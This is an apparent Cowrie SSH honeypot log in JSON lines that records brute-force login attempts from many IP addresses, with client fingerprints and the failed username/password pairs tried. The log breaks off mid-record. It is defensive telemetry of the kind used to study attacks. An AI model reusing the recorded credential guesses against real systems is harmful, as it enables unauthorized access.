{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:23:53.895161Z","src_ip":"2.57.121.112","session":"5e9b971497f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"041283","message":"login attempt [admin/041283] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:23:54.373630Z","src_ip":"2.57.121.112","session":"5e9b971497f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"04121997","message":"login attempt [admin/04121997] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:23:55.477955Z","src_ip":"2.57.121.112","session":"5e9b971497f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"041190","message":"login attempt [admin/041190] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:23:56.582489Z","src_ip":"2.57.121.112","session":"5e9b971497f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"041185","message":"login attempt [admin/041185] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:23:57.687305Z","src_ip":"2.57.121.112","session":"5e9b971497f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"041183","message":"login attempt [admin/041183] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:23:58.792862Z","src_ip":"2.57.121.112","session":"5e9b971497f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:23:59.901937Z","src_ip":"2.57.121.112","session":"5e9b971497f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.228.138","src_port":59944,"dst_ip":"159.203.135.109","dst_port":22,"session":"fcf6a9767da5","protocol":"ssh","message":"New connection: 137.184.228.138:59944 (159.203.135.109:22) [session: fcf6a9767da5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:24:22.589857Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:24:22.594833Z","src_ip":"137.184.228.138","session":"fcf6a9767da5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:24:22.665534Z","src_ip":"137.184.228.138","session":"fcf6a9767da5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc@12345","message":"login attempt [root/abc@12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:24:22.980348Z","src_ip":"137.184.228.138","session":"fcf6a9767da5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:24:24.053987Z","src_ip":"137.184.228.138","session":"fcf6a9767da5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.170.155","src_port":46194,"dst_ip":"10.17.0.5","dst_port":22,"session":"e08981513dd1","protocol":"ssh","message":"New connection: 43.156.170.155:46194 (10.17.0.5:22) [session: e08981513dd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:24:25.358050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:24:25.362902Z","src_ip":"43.156.170.155","session":"e08981513dd1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:24:25.600703Z","src_ip":"43.156.170.155","session":"e08981513dd1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dddddd","message":"login attempt [root/dddddd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:24:26.582832Z","src_ip":"43.156.170.155","session":"e08981513dd1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.144.214.214","src_port":45436,"dst_ip":"10.17.0.5","dst_port":22,"session":"40d9aca8d329","protocol":"ssh","message":"New connection: 89.144.214.214:45436 (10.17.0.5:22) [session: 40d9aca8d329]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:24:26.993344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:24:27.000685Z","src_ip":"89.144.214.214","session":"40d9aca8d329","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:24:27.123865Z","src_ip":"89.144.214.214","session":"40d9aca8d329","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root/123456","password":"root","message":"login attempt [root/123456/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:24:27.662338Z","src_ip":"89.144.214.214","session":"40d9aca8d329","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:24:27.821981Z","src_ip":"43.156.170.155","session":"e08981513dd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:24:28.803152Z","src_ip":"89.144.214.214","session":"40d9aca8d329","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.181.156.205","src_port":49629,"dst_ip":"10.17.0.5","dst_port":22,"session":"0cd070b0b15e","protocol":"ssh","message":"New connection: 41.181.156.205:49629 (10.17.0.5:22) [session: 0cd070b0b15e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:24:33.061892Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:24:33.066726Z","src_ip":"41.181.156.205","session":"0cd070b0b15e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:24:33.310021Z","src_ip":"41.181.156.205","session":"0cd070b0b15e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123456","message":"login attempt [test/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:24:34.313364Z","src_ip":"41.181.156.205","session":"0cd070b0b15e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:24:35.560136Z","src_ip":"41.181.156.205","session":"0cd070b0b15e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.253.45.10","src_port":56722,"dst_ip":"10.17.0.5","dst_port":22,"session":"c999721d3ef5","protocol":"ssh","message":"New connection: 46.253.45.10:56722 (10.17.0.5:22) [session: c999721d3ef5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:24:51.249014Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:24:51.257296Z","src_ip":"46.253.45.10","session":"c999721d3ef5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:24:51.382410Z","src_ip":"46.253.45.10","session":"c999721d3ef5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0123456789","message":"login attempt [root/0123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:24:51.915420Z","src_ip":"46.253.45.10","session":"c999721d3ef5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:24:53.044517Z","src_ip":"46.253.45.10","session":"c999721d3ef5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.173","src_port":58568,"dst_ip":"10.17.0.5","dst_port":22,"session":"5bbd76140149","protocol":"ssh","message":"New connection: 165.154.5.173:58568 (10.17.0.5:22) [session: 5bbd76140149]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:24:54.582862Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:24:54.587871Z","src_ip":"165.154.5.173","session":"5bbd76140149","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:24:54.804716Z","src_ip":"165.154.5.173","session":"5bbd76140149","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:24:55.703712Z","src_ip":"165.154.5.173","session":"5bbd76140149","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:24:56.922869Z","src_ip":"165.154.5.173","session":"5bbd76140149","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"121.229.25.10","src_port":38129,"dst_ip":"10.17.0.5","dst_port":22,"session":"c98687c104e4","protocol":"ssh","message":"New connection: 121.229.25.10:38129 (10.17.0.5:22) [session: c98687c104e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:25:28.697098Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:25:28.701747Z","src_ip":"121.229.25.10","session":"c98687c104e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:25:28.963670Z","src_ip":"121.229.25.10","session":"c98687c104e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:25:30.649907Z","src_ip":"121.229.25.10","session":"c98687c104e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:25:31.902993Z","src_ip":"121.229.25.10","session":"c98687c104e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":39654,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ef5e31d1ede","protocol":"ssh","message":"New connection: 103.149.28.157:39654 (10.17.0.5:22) [session: 6ef5e31d1ede]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:25:49.943937Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:25:49.951072Z","src_ip":"103.149.28.157","session":"6ef5e31d1ede","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ss